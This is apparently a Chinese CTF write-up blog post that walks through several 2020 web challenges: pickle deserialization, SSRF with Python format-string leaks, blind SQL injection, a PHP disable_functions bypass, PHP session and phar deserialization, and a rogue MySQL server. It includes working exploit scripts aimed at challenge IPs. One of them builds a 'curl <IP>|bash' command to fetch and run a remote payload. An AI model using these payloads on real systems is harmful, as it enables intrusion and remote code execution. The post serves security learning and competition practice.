很长一段时间没有接触了,都沉迷于课程学习不能自拔(被迫的),果然2020年对题目都失去了感觉,不仅如此,刚打开就想x了......,简单先整理一下做出来的题。之后文章主要发在个人博客:Cyc1e's Blog
0x00 Webtmp
题目源码
import base64
import io
import sys
import pickle
from flask import Flask, Response, render_template, request
import secret
app = Flask(__name__)
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
很明显一道python反序列化的题,不过if b'R' in base64.b64decode(pickle_data)
断了直接反弹shell和调用render_template函数的操作,所以说就是只能给secret.name、secret.category变量赋值,要求type为Animal,同时secret又要重main启动,所以需要重写一下secret类。参考https://blog.init-new-world.com/post/hitctf-train.html(也就是原题)
# -*- coding: utf-8 -*-
# @Author: Cyc1e
# @Date: 2020-03-07 14:51:06
# @Last Modified by: Cyc1e
import pickle
import base64
payload = b"\x80\x03c__main__\nsecret\n}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub0c__main__\nAnimal\n)\x81}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub."
print(base64.b64encode(payload).decode())
0x01 fmkq
访问直接给了题目源码
关键就是触发curl了,参考https://www.php.net/manual/zh/function.sprintf 通过extract进行变量覆盖,覆盖begin为begin=%1$s,则sprintf($begin.'%d',$output);
处就可以输出,例如构造
?head=\&begin=%1$s&url=www.baidu.com
则可以返回baidu的内容,所以显然用来SSRF最合适不过,发现127.0.0.1还开了8080端口,所以构造
?head=\&begin=%1$s&url=http://127.0.0.1:8080
也就是需要我们拿到vipcode,一通测试,python的格式化字符串问题,构造
?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={file.__init__.__globals__[vip].__init__.__globals__}%26vipcode=xxx
可以读取到vipcode
带上vipcode就可以为所欲为了
提示了flag所在的文件,结合题目提示,flag的路径就是/fl4g_1s_h3re_u_wi11_rua/flag,读取题目源码可以发现fl4g被过滤了
#readfile.py
from .vip import vip
import re
import os
class File:
def __init__(self,file):
self.file = file
def __str__(self):
return self.file
def GetName(self):
return self.file
class readfile():
def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"
def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])
if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()
def test(self):
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False
else:
return True
def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False
def GetFileName(self):
return self.file.GetName()
current_folder_file = []
class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file
def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output
#vip.py
import random
import string
vipcode = ''
class vip:
def __init__(self):
global vipcode
if vipcode == '':
vipcode = ''.join(random.sample(string.ascii_letters+string.digits, 48))
self.truevipcode = vipcode
else:
self.truevipcode = vipcode
def GetCode(self):
return self.truevipcode
由于fl4g被过滤了,所以只能另辟蹊径,代码中
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file
所以可以通过current_folder_file来获取flag文件夹,构造
{vipfile.__init__.__globals__[current_folder_file][21]}/flag
0x02 nweb
根据登入后的提示,用户会有分级,注册账号的时候隐藏了type属性
type赋值为110,登录后可以访问flag.php 里面是一个search框,可以测试一下注入
简单测试发现只过滤了select和from,可以双写绕过,所以写一个脚本跑就行了
# encoding=utf-8
import requests
flag= ''
url = 'http://121.37.179.47:1001/search.php'
Cookie = {'PHPSESSID':'huiulsnkb5bpm59h6v38o1qlv1;',
'username':'41fcba09f2bdcdf315ba4119dc7978dd'}
proxies = {
"http": "http://127.0.0.1:8080",
}
#erfenfa
for i in range(1,50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload=r"1' or 1=(ascii(mid(CONCAT_WS(CHAR(32,58,32),user(),database(),version()),{},1))>{})--+" #65
#payload=r"1' or 1=(ascii(mid((selselectect group_concat(column_NAME) frfromom information_schema.columnS where table_name='admin'),{},1))>{})#"
payload=r"1' or 1=(ascii(mid((selselectect pwd frfromom admin limit 1),{},1))>{})#"
#payload=r"1' or 1=(ascii(mid((database()),{},1))>{})#"
url_1=url+payload.format(i,mid)
data={"flag":payload.format(i,mid)}
r=requests.post(url,data=data,cookies=Cookie,proxies=proxies)
print(r.content)
if b"is flag" in r.content:
low=mid+1
else:
high=mid
mid=(low+high)//2
print(flag)
flag+=chr(mid)
数据库里只有一半的flag:flag{Rogue-MySql-Server- ,同时还得到了admin用户的密码:whoamiadmin
根据前半段flag和登录后的提示,也就是伪造mysql服务任意文件读取的问题了,通过Rogue-MySql-Server脚本设置读取一下flag.php文件
也就拿到了flag的后一部分,拼接起来就可以了。
0x03 php uaf
送分题,访问直接得源代码
看一下phpinfo,php版本是7.4.2,设置了disable_function和open_basedir
直接拿https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass php7.4版本通杀的exp通道菜刀传上去直接执行/readflag就行了
0x04 dooog
题目很简单,逻辑捋清楚就行了,从client出发,先后向kdc的getTGT和getTicket发包校验,校验通过则发包到cmd执行,执行没有回显,主要在getTicket中的判断限制了cmd的内容,不过认真分析一下kdc源码,可以发现data变量是可控的,控制前一数据包中的timestamp使得int(time.time()) - data['timestamp'] > 60就可以了,所以修改client app.py
from flask import Flask, request, render_template, redirect, url_for, session, flash
from flask_bootstrap import Bootstrap
from form import RegisterForm, CmdForm
from toolkit import AESCipher
import os, requests, json, time, base64
app = Flask(__name__)
app.config["SECRET_KEY"] = os.urandom(32)
bootstrap = Bootstrap(app)
@app.route('/')
def index():
return render_template('index.html', form='')
@app.route('/cmd', methods=['GET', 'POST'])
def cmd():
form = CmdForm()
if request.method == 'GET':
return render_template('index.html', form=form)
elif request.method == 'POST':
if form.validate_on_submit():
username = form.username.data
master_key = form.master_key.data
cmd = form.cmd.data
print(username,master_key,cmd)
cryptor = AESCipher(master_key)
authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))
res = requests.post('http://121.37.164.32:5001/getTGT', data={'username': username, 'authenticator': base64.b64encode(authenticator)})
if res.content == 'time error':
flash('time error')
return redirect(url_for('index'))
if res.content.startswith('auth'):
flash('auth error')
return redirect(url_for('index'))
session['session_key'], session['TGT'] = cryptor.decrypt(base64.b64decode(res.content.split('|')[0])), res.content.split('|')[1]
flash('GET TGT DONE')
#visit TGS
cryptor = AESCipher(session['session_key'])
authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': 1}))
res = requests.post('http://121.37.164.32:5001/getTicket', data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': session['TGT']})
if res.content == 'time error':
flash('time error')
return redirect(url_for('index'))
if res.content.startswith('auth'):
flash('auth error')
return redirect(url_for('index'))
if res.content == 'cmd error':
flash('cmd not allow')
return redirect(url_for('index'))
flash('GET Ticket DONE')
client_message, server_message = res.content.split('|')
session_key = cryptor.decrypt(base64.b64decode(client_message))
cryptor = AESCipher(session_key)
authenticator = base64.b64encode(cryptor.encrypt(username))
res = requests.post('http://121.37.164.32:5002/cmd', data={'server_message': server_message, 'authenticator': authenticator})
return render_template('index.html', form='', flag=res.content)
return render_template('index.html', form=form)
else:
return 'error' , 500
@app.route('/register', methods=['GET','POST'])
def register():
form = RegisterForm()
if request.method == 'GET':
return render_template('index.html', form=form)
elif request.method == 'POST':
if form.validate_on_submit():
username = form.username.data
master_key = form.master_key.data
res = requests.post('http://121.37.164.32:5001/register', data={'username': username, 'master_key': master_key})
if res.content == 'duplicate username':
return redirect(url_for('register'))
elif res.content != '' :
session['id'] = int(res.content)
flash('register success')
return redirect(url_for('index'))
return render_template('index.html', form=form)
else:
return 'error' , 500
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port = 5000)
本地起一个服务来发包就行了
0x05 sqlcheckin
这道题原题,就不写了,转https://gksec.com/HNCTF2019-Final.html#toc-sqlsql
0x06 Hackme
访问www.zip得到题目源码,主要在于profile.php
admin = $_SESSION['admin'];
$this->sign = $_SESSION['sign'];
}
public function __destruct()
{
echo $this->sign;
if ($this->admin === 1) {
redirect('./core/index.php');
}
}
}
$a = new info();
?>
构造一下序列化
admin = 1;
$this->sign = '';
}
public function __destruct()
{
echo $this->sign;
if ($this->admin === 1) {
redirect('./core/index.php');
}
}
}
$a = new info();
echo serialize($a);
?>
输出:O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}
修改为|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}
发送后范围profile进入到/core/index.php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}
总结起来就是4字节执行命令,不过首先得绕过一下preg_match,构造
url=compress.zlib://data:@127.0.0.1/plain;base64,xxxx
来绕过判断,之后参考https://blog.csdn.net/qq_27446553/article/details/78502337 四字符getshell构造脚本
# -*- coding: utf-8 -*-
# @Author: Cyc1e
# @Date: 2020-03-09 13:53:34
# @Last Modified by: Cyc1e
# @Last Modified time: 2020-03-09 14:18:18
#encoding=utf-8
import requests
from time import sleep
from urllib import quote
import base64
payload = [
# 将 "g> ht- sl" 写到文件 "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
'>rev',
'*v>x',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>p\ ',
'>ph\\',
'>a.\\',
'>\>\\',
'>E1\\',
'>01\\',
'>E8\\',
'>31\\',
'>0x\\',#IP地址的16进制
'>\ \\',
'>rl\\',
'>cu\\',# getshell
'sh x',
'sh g',
]
payload_all = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}'
cookies={'PHPSESSID': 'd1b8d083fa8c9bdb28317c30b103bbb6'}
r = requests.get('http://121.36.222.22:88/core/clear.php',cookies=cookies)
for i in payload:
assert len(i) <= 20
r = requests.post('http://121.36.222.22:88/core/index.php',cookies=cookies,data={"url":payload_all.format(base64.b64encode(i))})
print r.text
sleep(0.5)
0x07 webct
访问www.zip拿到题目源码,题目提供了两个页面,一个是测试数据库连接,一个是文件上传,分析一下源码
#testsql.php
testquery();
数据库连接测试接收到数据后实例化db类进行测试连接,文件上传页面源码
deal();
echo "存储的图片:"."
";
$ls = new Listfile('./uploads/'.md5($_SERVER['REMOTE_ADDR']));
echo $ls->listdir()."
";
?>
各个类的实现代码
#config.php
user=$user;
$this->ip=$ip;
$this->password=$password;
$this->option=$option;
}
function testquery()
{
$m = new mysqli($this->ip,$this->user,$this->password);
if($m->connect_error){
die($m->connect_error);
}
$m->options($this->option,1);
$result=$m->query('select 1;');
if($result->num_rows>0)
{
echo '测试完毕,数据库服务器处于开启状态';
}
else{
echo '测试完毕,数据库服务器未开启';
}
}
}
class File
{
public $uploadfile;
function __construct($filename)
{
$this->uploadfile=$filename;
}
function xs()
{
echo '请求结束';
}
}
class Fileupload
{
public $file;
function __construct($file)
{
$this->file = $file;
}
function deal()
{
$extensionarr=array("gif","jpeg","jpg","png");
$extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
$type = $this->file->uploadfile['type'];
//echo "type: ".$type;
$filetypearr=array("image/jpeg","image/png","image/gif");
if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
{
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " .$this->file->uploadfile["error"] . "
";
die();
}else{
if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
}
$upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
echo "上传成功"."
";
}
}
else{
echo "不被允许的文件类型"."
";
}
}
function __destruct()
{
$this->file->xs();
}
}
class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."
";
}
function __call($name, $arguments)
{
system("ls ".$this->file); #这个地方明显的反序列化,所以主要就是构造的问题
}
}
所以整体逻辑也很清晰,利用文件上传上传phar文件,通过Rogue-MySql-Server访问phar文件触发反序列化
首先构造一下phar
file = $file;
}
function __destruct()
{
$this->file->xs();
}
}
class Listfile
{
public $file;
function __construct()
{
$this->file="/ ;/readflag";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}
@unlink("ccc.phar");
$phar = new Phar("ccc.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."");
$a=new Listfile();
$b=new Fileupload($a);
echo serialize($b);
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
输出ccc.phar后进行上传
在vps上编辑Rogue-MySql-Server脚本启动就行
还有一个问题就是testsql中的option设成什么?option用于设置MYSQLI_OPT_LOCAL_INFILE,本地查看一下
所以option设置为8就行了,利用testsql访问服务器上起的rogue_mysql_server服务就会直接触发/readflag
0x08 nothardweb
这个没去看,具体思路是跑seed(这里有一个非预期),可以直接构造cookie,打内网,之后内网还有一个tomcat,复现后写
0x09 easy_trick_gzmtu
SQL注入后,复现写